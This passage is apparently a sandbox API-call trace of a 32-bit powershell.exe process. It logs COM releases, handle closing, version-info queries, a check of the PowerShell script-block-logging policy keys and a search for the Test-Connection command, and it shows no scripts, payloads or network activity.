0x1 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x0 [0161.670] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x1 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x0 [0161.670] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x1 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x0 [0161.670] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x1 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x0 [0161.670] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x1 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x0 [0161.670] CoGetContextToken (in: pToken=0x6bf4b4 | out: pToken=0x6bf4b4) returned 0x0 [0161.670] IUnknown:QueryInterface (in: This=0x581420, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6bf454 | out: ppvObject=0x6bf454*=0x581430) returned 0x0 [0161.671] CObjectContext::ContextCallback () returned 0x0 [0161.674] IUnknown:Release (This=0x581430) returned 0x1 [0161.674] CoGetContextToken (in: pToken=0x6bf2f0 | out: pToken=0x6bf2f0) returned 0x0 [0161.674] IUnknown:QueryInterface (in: This=0x581420, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6bf290 | out: ppvObject=0x6bf290*=0x581430) returned 0x0 [0161.675] CObjectContext::ContextCallback () returned 0x0 [0161.684] IUnknown:Release (This=0x581430) returned 0x1 [0161.685] IUnknown:Release (This=0x5f6b230) returned 0x0 [0161.685] CoGetContextToken (in: pToken=0x6bf2f0 | out: pToken=0x6bf2f0) returned 0x0 [0161.685] IUnknown:QueryInterface (in: This=0x581420, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6bf290 | out: ppvObject=0x6bf290*=0x581430) returned 0x0 [0161.685] CObjectContext::ContextCallback () returned 0x0 [0161.688] IUnknown:Release (This=0x581430) returned 0x1 [0161.688] IUnknown:Release (This=0x5f9a528) returned 0x0 [0161.688] IUnknown:Release (This=0x5fc3b10) returned 0x0 [0161.688] CloseHandle (hObject=0x568) returned 1 [0161.688] CloseHandle (hObject=0x4dc) returned 1 [0161.688] CloseHandle (hObject=0x4d8) returned 1 [0161.688] CloseHandle (hObject=0x4d4) returned 1 [0161.689] CloseHandle (hObject=0x4d0) returned 1 [0161.689] CloseHandle (hObject=0x4f0) returned 1 [0161.689] CloseHandle (hObject=0x4ec) returned 1 [0161.689] CloseHandle (hObject=0x460) returned 1 [0161.689] CloseHandle (hObject=0x450) returned 1 [0161.689] CloseHandle (hObject=0x564) returned 1 [0161.689] CloseHandle (hObject=0x508) returned 1 [0161.690] CloseHandle (hObject=0x4e0) returned 1 [0161.690] CloseHandle (hObject=0x560) returned 1 [0161.690] CloseHandle (hObject=0x558) returned 1 [0161.690] CloseHandle (hObject=0x55c) returned 1 [0161.690] CloseHandle (hObject=0x550) returned 1 [0161.690] CloseHandle (hObject=0x548) returned 1 [0161.690] CloseHandle (hObject=0x4f4) returned 1 [0163.196] EtwEventUnregister () returned 0x0 [0163.196] EtwEventUnregister () returned 0x0 [0163.196] EtwEventUnregister () returned 0x0 [0163.196] EtwEventUnregister () returned 0x0 [0163.196] EtwEventUnregister () returned 0x0 [0163.196] EtwEventUnregister () returned 0x0 [0163.196] EtwEventUnregister () returned 0x0 [0163.196] EtwEventUnregister () returned 0x0 [0163.198] LocalFree (hMem=0x59c780) returned 0x0 [0163.199] LocalFree (hMem=0x59c6f8) returned 0x0 [0163.202] IUnknown:Release (This=0x6079d0) returned 0x0 [0163.203] IUnknown:Release (This=0x5f6b650) returned 0x0 [0163.203] IUnknown:Release (This=0x5fc3b10) returned 0x0 [0163.205] EtwEventUnregister () returned 0x0 [0163.205] IUnknown:Release (This=0x5f765d8) returned 0x0 [0163.207] IUnknown:Release (This=0x5f6e0e8) returned 0x0 [0163.211] CloseHandle (hObject=0x2c0) returned 1 [0163.213] CloseHandle (hObject=0x3c8) returned 1 [0163.213] CloseHandle (hObject=0x558) returned 1 [0163.213] CloseHandle (hObject=0x3f8) returned 1 [0163.213] UnmapViewOfFile (lpBaseAddress=0x44b0000) returned 1 [0163.214] CloseHandle (hObject=0x55c) returned 1 [0163.215] CloseHandle (hObject=0x4c8) returned 1 [0163.215] CloseHandle (hObject=0x3f0) returned 1 [0163.216] LocalFree (hMem=0x56f530) returned 0x0 [0163.216] CloseHandle (hObject=0x3ec) returned 1 [0163.216] CloseHandle (hObject=0x4cc) returned 1 [0163.216] CloseHandle (hObject=0x4b8) returned 1 [0163.217] CloseHandle (hObject=0x4b4) returned 1 [0163.217] CloseHandle (hObject=0x4bc) returned 1 [0163.217] CloseHandle (hObject=0x360) returned 1 [0163.217] CloseHandle (hObject=0x504) returned 1 [0163.217] CloseHandle (hObject=0x568) returned 1 [0163.218] CloseHandle (hObject=0x4dc) returned 1 [0163.218] CloseHandle (hObject=0x4d8) returned 1 [0163.218] CloseHandle (hObject=0x4e4) returned 1 [0163.219] CloseHandle (hObject=0x4d4) returned 1 [0163.219] CloseHandle (hObject=0xf) returned 1 [0163.221] CloseHandle (hObject=0x564) returned 1 [0163.221] DeregisterEventSource (hEventLog=0x43d0004) returned 1 [0163.223] CloseHandle (hObject=0x3e8) returned 1 [0163.223] CloseHandle (hObject=0x4d0) returned 1 [0163.223] CloseHandle (hObject=0x4f0) returned 1 [0163.223] CloseHandle (hObject=0x4c4) returned 1 [0163.223] CloseHandle (hObject=0x508) returned 1 [0163.224] CloseHandle (hObject=0x3cc) returned 1 [0163.224] CloseHandle (hObject=0x21c) returned 1 [0163.224] CloseHandle (hObject=0x4e0) returned 1 [0163.224] CloseHandle (hObject=0x35c) returned 1 [0163.225] CloseHandle (hObject=0x358) returned 1 [0163.225] CloseHandle (hObject=0x354) returned 1 [0163.225] RegCloseKey (hKey=0x80000004) returned 0x0 [0163.225] CloseHandle (hObject=0x350) returned 1 [0163.226] LocalFree (hMem=0x62b578) returned 0x0 [0163.226] CloseHandle (hObject=0x34c) returned 1 [0163.226] CloseHandle (hObject=0x348) returned 1 [0163.226] CloseHandle (hObject=0x344) returned 1 [0163.227] CloseHandle (hObject=0x340) returned 1 [0163.227] CloseHandle (hObject=0x33c) returned 1 [0163.227] CloseHandle (hObject=0x338) returned 1 [0163.227] CloseHandle (hObject=0x334) returned 1 [0163.228] CloseHandle (hObject=0x2b8) returned 1 [0163.228] CloseHandle (hObject=0x304) returned 1 [0163.228] CloseHandle (hObject=0x560) returned 1 [0163.229] CoGetContextToken (in: pToken=0x6bf0f4 | out: pToken=0x6bf0f4) returned 0x0 [0163.229] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.229] WbemDefPath:IUnknown:Release (This=0x5df070) returned 0x1 [0163.229] WbemDefPath:IUnknown:Release (This=0x5df070) returned 0x0 [0163.229] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.229] WbemDefPath:IUnknown:Release (This=0x5df540) returned 0x1 [0163.229] WbemDefPath:IUnknown:Release (This=0x5df540) returned 0x0 [0163.229] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.229] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x1 [0163.229] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x0 [0163.229] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.229] WbemDefPath:IUnknown:Release (This=0x5df1c0) returned 0x1 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df1c0) returned 0x0 [0163.230] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x1 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x0 [0163.230] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x1 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x0 [0163.230] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x1 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x0 [0163.230] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x1 [0163.230] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x0 [0163.230] CoGetContextToken (in: pToken=0x6bf0f4 | out: pToken=0x6bf0f4) returned 0x0 [0163.230] CoGetContextToken (in: pToken=0x6bf078 | out: pToken=0x6bf078) returned 0x0 [0163.230] WbemLocator:IUnknown:Release (This=0x5d1690) returned 0x4 [0163.232] CoReleaseMarshalData (pStm=0x61b638) returned 0x0 [0163.232] WbemLocator:IUnknown:Release (This=0x5d1690) returned 0x3 [0163.232] WbemLocator:IUnknown:Release (This=0x5d1690) returned 0x2 [0163.233] WbemLocator:IUnknown:Release (This=0x5d1690) returned 0x1 [0163.233] WbemLocator:IUnknown:Release (This=0x5d1690) returned 0x0 [0163.235] IUnknown:Release (This=0x5812b0) returned 0x0 Thread: id = 183 os_tid = 0xab0 Thread: id = 184 os_tid = 0xab8 Thread: id = 185 os_tid = 0xabc Thread: id = 186 os_tid = 0xac0 Thread: id = 187 os_tid = 0xac4 Thread: id = 188 os_tid = 0xac8 [0153.877] CoCreateGuid (in: pguid=0x404ef20 | out: pguid=0x404ef20*(Data1=0x9d19c9f2, Data2=0xe861, Data3=0x440b, Data4=([0]=0x9b, [1]=0x28, [2]=0x9f, [3]=0x66, [4]=0xae, [5]=0xc3, [6]=0xa6, [7]=0x61))) returned 0x0 Thread: id = 189 os_tid = 0xacc [0163.220] CoGetContextToken (in: pToken=0x4fbf5ac | out: pToken=0x4fbf5ac) returned 0x0 [0163.220] IUnknown:QueryInterface (in: This=0x5812b0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fbf5d0 | out: ppvObject=0x4fbf5d0*=0x5812bc) returned 0x0 [0163.220] IComThreadingInfo:GetCurrentThreadType (in: This=0x5812bc, pThreadType=0x4fbf5fc | out: pThreadType=0x4fbf5fc*=0) returned 0x0 [0163.220] IUnknown:Release (This=0x5812bc) returned 0x1 Thread: id = 190 os_tid = 0xad0 Thread: id = 191 os_tid = 0xad4 Thread: id = 192 os_tid = 0xad8 Thread: id = 193 os_tid = 0xadc [0153.724] SetThreadUILanguage (LangId=0x0) returned 0x409 [0153.735] EtwEventRegister () returned 0x0 [0153.787] CoCreateGuid (in: pguid=0x5bdf41c | out: pguid=0x5bdf41c*(Data1=0x6237cdaa, Data2=0x8031, Data3=0x45c1, Data4=([0]=0x9b, [1]=0x51, [2]=0x47, [3]=0x7b, [4]=0xba, [5]=0xce, [6]=0x88, [7]=0xa1))) returned 0x0 [0153.798] QueryPerformanceCounter (in: lpPerformanceCount=0x5bdf3fc | out: lpPerformanceCount=0x5bdf3fc*=1179477488081) returned 1 [0153.798] GetCurrentProcessId () returned 0xa90 [0153.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa90) returned 0x3c0 [0153.799] EnumProcessModules (in: hProcess=0x3c0, lphModule=0x22c51b4, cb=0x100, lpcbNeeded=0x5bdf2f4 | out: lphModule=0x22c51b4, lpcbNeeded=0x5bdf2f4) returned 1 [0153.800] GetModuleInformation (in: hProcess=0x3c0, hModule=0x140000, lpmodinfo=0x22c52f4, cb=0xc | out: lpmodinfo=0x22c52f4*(lpBaseOfDll=0x140000, SizeOfImage=0x6b000, EntryPoint=0x14d330)) returned 1 [0153.800] CoTaskMemAlloc (cb=0x804) returned 0x62a860 [0153.801] GetModuleBaseNameW (in: hProcess=0x3c0, hModule=0x140000, lpBaseName=0x62a860, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0153.801] CoTaskMemFree (pv=0x62a860) [0153.801] CoTaskMemAlloc (cb=0x804) returned 0x62a860 [0153.801] GetModuleFileNameExW (in: hProcess=0x3c0, hModule=0x140000, lpFilename=0x62a860, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0153.802] CoTaskMemFree (pv=0x62a860) [0153.802] CloseHandle (hObject=0x3c0) returned 1 [0153.802] LocalReAlloc (hMem=0x59f0a0, uBytes=0x208, uFlags=0x2) returned 0x62b578 [0153.802] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0153.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdf02c) returned 1 [0153.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x5bdf2f0 | out: lpFileInformation=0x5bdf2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0153.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdf028) returned 1 [0153.803] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x5bdf364 | out: lpdwHandle=0x5bdf364) returned 0x74c [0153.803] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x22c7528 | out: lpData=0x22c7528) returned 1 [0153.803] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bdf338, puLen=0x5bdf334 | out: lplpBuffer=0x5bdf338*=0x22c78c8, puLen=0x5bdf334) returned 1 [0153.803] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c75e0, puLen=0x5bdf2b4) returned 1 [0153.803] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c7634, puLen=0x5bdf2b4) returned 1 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c767c, puLen=0x5bdf2b4) returned 1 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c76f0, puLen=0x5bdf2b4) returned 1 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c772c, puLen=0x5bdf2b4) returned 1 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c77b0, puLen=0x5bdf2b4) returned 1 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c77f8, puLen=0x5bdf2b4) returned 1 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x22c7868, puLen=0x5bdf2b4) returned 1 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x0, puLen=0x5bdf2b4) returned 0 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x0, puLen=0x5bdf2b4) returned 0 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x0, puLen=0x5bdf2b4) returned 0 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x5bdf2b8, puLen=0x5bdf2b4 | out: lplpBuffer=0x5bdf2b8*=0x0, puLen=0x5bdf2b4) returned 0 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bdf2ac, puLen=0x5bdf2a8 | out: lplpBuffer=0x5bdf2ac*=0x22c78c8, puLen=0x5bdf2a8) returned 1 [0153.804] VerLanguageNameW (in: wLang=0x409, szLang=0x5bdf03c, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0153.804] VerQueryValueW (in: pBlock=0x22c7528, lpSubBlock="\\", lplpBuffer=0x5bdf2bc, puLen=0x5bdf2b8 | out: lplpBuffer=0x5bdf2bc*=0x22c7550, puLen=0x5bdf2b8) returned 1 [0154.046] QueryPerformanceCounter (in: lpPerformanceCount=0x5bdf3c4 | out: lpPerformanceCount=0x5bdf3c4*=1179502282206) returned 1 [0154.052] EtwEventRegister () returned 0x0 [0154.053] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bdf234, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.115] EtwEventActivityIdControl () returned 0x0 [0154.115] EtwEventActivityIdControl () returned 0x0 [0154.115] EtwEventActivityIdControl () returned 0x0 [0154.119] EtwEventActivityIdControl () returned 0x0 [0154.119] EtwEventActivityIdControl () returned 0x0 [0154.119] EtwEventActivityIdControl () returned 0x0 [0154.176] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bdea3c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.176] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bdea3c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.186] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bdea28, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.200] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdf2a0 | out: phkResult=0x5bdf2a0*=0x0) returned 0x2 [0154.201] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdf2a0 | out: phkResult=0x5bdf2a0*=0x0) returned 0x2 [0154.202] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bde9f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.209] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bdee38, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.211] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bded54, nSize=0x80 | out: lpBuffer="") returned 0xbe [0154.212] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bdecd8, nSize=0xbe | out: lpBuffer="") returned 0xbd [0154.213] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bdecc4, nSize=0xbe | out: lpBuffer="") returned 0x3a [0154.221] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x62b578 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0154.224] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bdeccc, nSize=0xbe | out: lpBuffer="") returned 0x3a [0154.225] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0154.225] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0154.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebc0) returned 1 [0154.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bdee84 | out: lpFileInformation=0x5bdee84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0154.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebbc) returned 1 [0154.226] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bde55c, nSize=0xbe | out: lpBuffer="") returned 0x0 [0154.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0154.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0154.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebc0) returned 1 [0154.226] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5bdee84 | out: lpFileInformation=0x5bdee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0154.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebbc) returned 1 [0154.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdee7c) returned 1 [0154.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0154.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0154.228] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Test-Connection.*", lpFindFileData=0x5bdec2c | out: lpFindFileData=0x5bdec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0154.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebd4) returned 1 [0154.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee34) returned 1 [0154.230] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0154.230] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0154.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebc0) returned 1 [0154.230] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bdee84 | out: lpFileInformation=0x5bdee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0154.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebbc) returned 1 [0154.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdee7c) returned 1 [0154.231] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0154.231] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0154.231] FindFirstFileW (in: lpFileName="C:\\Windows\\Test-Connection.*", lpFindFileData=0x5bdec2c | out: lpFindFileData=0x5bdec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0154.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebd4) returned 1 [0154.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee34) returned 1 [0154.231] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0154.232] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0154.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebc0) returned 1 [0154.232] 